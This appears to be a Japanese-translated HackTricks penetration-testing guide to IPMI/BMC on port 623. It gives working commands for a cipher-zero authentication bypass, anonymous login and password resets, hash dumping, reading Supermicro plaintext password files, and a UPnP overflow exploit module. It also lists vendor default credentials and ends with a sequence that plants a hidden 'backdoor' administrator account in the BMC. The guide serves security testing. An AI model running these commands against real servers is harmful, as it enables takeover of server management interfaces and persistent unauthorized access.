mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
146 lines
12 KiB
Markdown
146 lines
12 KiB
Markdown
# 623/UDP/TCP - IPMI
|
||
|
||
## 623/UDP/TCP - IPMI
|
||
|
||
<details>
|
||
|
||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||
|
||
</details>
|
||
|
||
## 基本情報
|
||
|
||
### **IPMIの概要**
|
||
|
||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**は、オペレーティングシステムや電源状態に依存せずにコンピュータシステムのリモート管理と監視を標準化したアプローチを提供します。この技術により、システム管理者はシステムをリモートで管理でき、電源がオフまたは応答がない場合でも特に以下のような用途に役立ちます:
|
||
|
||
- OSの起動前の構成
|
||
- 電源オフ管理
|
||
- システム障害からの回復
|
||
|
||
IPMIは温度、電圧、ファン速度、電源などを監視し、在庫情報を提供し、ハードウェアログを確認し、SNMP経由でアラートを送信することができます。動作には電源源とLAN接続が必要です。
|
||
|
||
Intelによって1998年に導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0ではシリアルオーバーLANのサポートによりリモート管理機能が強化されています。主要なコンポーネントには次のものがあります:
|
||
|
||
- **Baseboard Management Controller (BMC):** IPMI操作のメインマイクロコントローラー。
|
||
- **通信バスおよびインターフェイス:** ICMB、IPMBなどの内部および外部通信用のインターフェース、およびローカルおよびネットワーク接続用のさまざまなインターフェース。
|
||
- **IPMIメモリ:** ログやデータを保存するためのメモリ。
|
||
|
||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||
|
||
**デフォルトポート**: 623/UDP/TCP(通常はUDPですが、TCPでも実行されている可能性があります)
|
||
|
||
## 列挙
|
||
|
||
### 発見
|
||
```bash
|
||
nmap -n -p 623 10.0.0./24
|
||
nmap -n-sU -p 623 10.0.0./24
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
```
|
||
**バージョン**を**識別**するには、次のようにします:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||
```
|
||
### IPMIの脆弱性
|
||
|
||
IPMI 2.0の世界では、Dan Farmerによって**暗号タイプ0**を介した重大なセキュリティの欠陥が明らかにされました。この脆弱性は、[Dan Farmerの研究](http://fish2.com/ipmi/cipherzero.html)で詳細に文書化されており、有効なユーザーが対象であれば、任意のパスワードで未承認アクセスが可能となります。この弱点は、HP、Dell、SupermicroなどのメーカーのさまざまなBMCで見つかり、すべてのIPMI 2.0の実装に広範な問題があることを示しています。
|
||
|
||
### **Cipher 0を介したIPMI認証バイパス**
|
||
|
||
この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||
```
|
||
以下のように、この欠陥の悪用は`ipmitool`を使用して実現可能であり、ユーザーパスワードのリスト化や変更が可能です:
|
||
```bash
|
||
apt-get install ipmitool # Installation command
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||
```
|
||
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
|
||
|
||
この脆弱性により、任意の既存ユーザーのソルト付きハッシュ化されたパスワード(MD5およびSHA1)を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供します:
|
||
```bash
|
||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||
```
|
||
### **IPMI匿名認証**
|
||
|
||
多くのBMCでデフォルトの設定として、「匿名」アクセスが許可されており、ユーザー名とパスワードが空の文字列で特徴付けられています。この設定を利用して、`ipmitool`を使用して名前付きユーザーアカウントのパスワードをリセットすることができます。
|
||
```bash
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||
```
|
||
### **Supermicro IPMI平文パスワード**
|
||
|
||
IPMI 2.0の重要な設計選択肢は、認証目的でBMC内に平文パスワードを保存する必要性です。Supermicroがこれらのパスワードを`/nv/PSBlock`や`/nv/PSStore`などの場所に保存することは、重大なセキュリティ上の懸念を引き起こします。
|
||
```bash
|
||
cat /nv/PSBlock
|
||
```
|
||
### **Supermicro IPMI UPnP Vulnerability**
|
||
|
||
スーパーマイクロのIPMIファームウェアにUPnP SSDPリスナーが含まれており、特にUDPポート1900で動作していることは、深刻なセキュリティリスクをもたらします。Intel SDK for UPnP Devicesバージョン1.3.1の脆弱性は、[Rapid7の開示](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)に詳細に記載されており、BMCへのルートアクセスが可能となります。
|
||
```bash
|
||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||
```
|
||
### Brute Force
|
||
|
||
**HPは、製造時に**Integrated Lights Out (iLO)**製品のデフォルトパスワードを**ランダム化**しています。この慣行は、他の製造業者とは対照的で、**静的なデフォルト資格情報**を使用する傾向にある。さまざまな製品のデフォルトのユーザー名とパスワードの要約は次のとおりです:
|
||
|
||
- **HP Integrated Lights Out (iLO)**は、デフォルトパスワードとして**工場でランダムに生成された8文字の文字列**を使用し、より高いセキュリティレベルを示しています。
|
||
- **DellのiDRAC、IBMのIMM**、および**FujitsuのIntegrated Remote Management Controller**などの製品は、「calvin」、「PASSW0RD」(ゼロを使用)、および「admin」など、簡単に推測可能なパスワードを使用しています。
|
||
- 同様に、**Supermicro IPMI (2.0)、Oracle/Sun ILOM**、および**ASUS iKVM BMC**も、「ADMIN」、「changeme」、「admin」がそれぞれのパスワードとして使用されています。
|
||
|
||
|
||
## BMCを介したホストへのアクセス
|
||
|
||
ベースボード管理コントローラー(BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。直接的なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を悪用することです。これは、ホストをGRUBを介してルートシェルに再起動する(`init=/bin/sh`を使用)か、レスキューディスクとして設定された仮想CD-ROMからブートすることによって行うことができます。これらの方法により、ホストのディスクを直接操作することが可能となり、バックドアの挿入、データの抽出、セキュリティアセスメントに必要なアクションなどが可能となります。ただし、これにはホストの再起動が必要であり、これは大きな欠点です。再起動せずに実行中のホストにアクセスする場合、ホストの構成によって複雑さが異なります。ホストの物理的またはシリアルコンソールがログインしたままの場合、`ipmitool`を介してBMCのKVMまたはシリアルオーバーLAN(sol)機能を使用して簡単に接続を取得できます。i2cバスやSuper I/Oチップなどの共有ハードウェアリソースの悪用を探ることは、さらなる調査が求められる分野です。
|
||
|
||
## ホストからBMCへのバックドアの導入
|
||
|
||
BMCを搭載したホストを侵害した場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入**し、サーバーに持続的な存在を作成することができます。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効になっている必要があります。次のコマンドは、ホストのローカルインターフェースを使用して新しいユーザーアカウントをBMCに挿入する方法を示しており、認証が必要ないことを回避しています。この技術は、Linux、Windows、BSD、さらにはDOSなど、さまざまなオペレーティングシステムに適用されます。
|
||
```bash
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
|
||
ipmitool user set name 4 backdoor
|
||
ipmitool user set password 4 backdoor
|
||
ipmitool user priv 4 4
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
4 backdoor true false true ADMINISTRATOR
|
||
```
|
||
## Shodan
|
||
|
||
* `port:623`
|
||
|
||
## References
|
||
|
||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||
|
||
</details>
|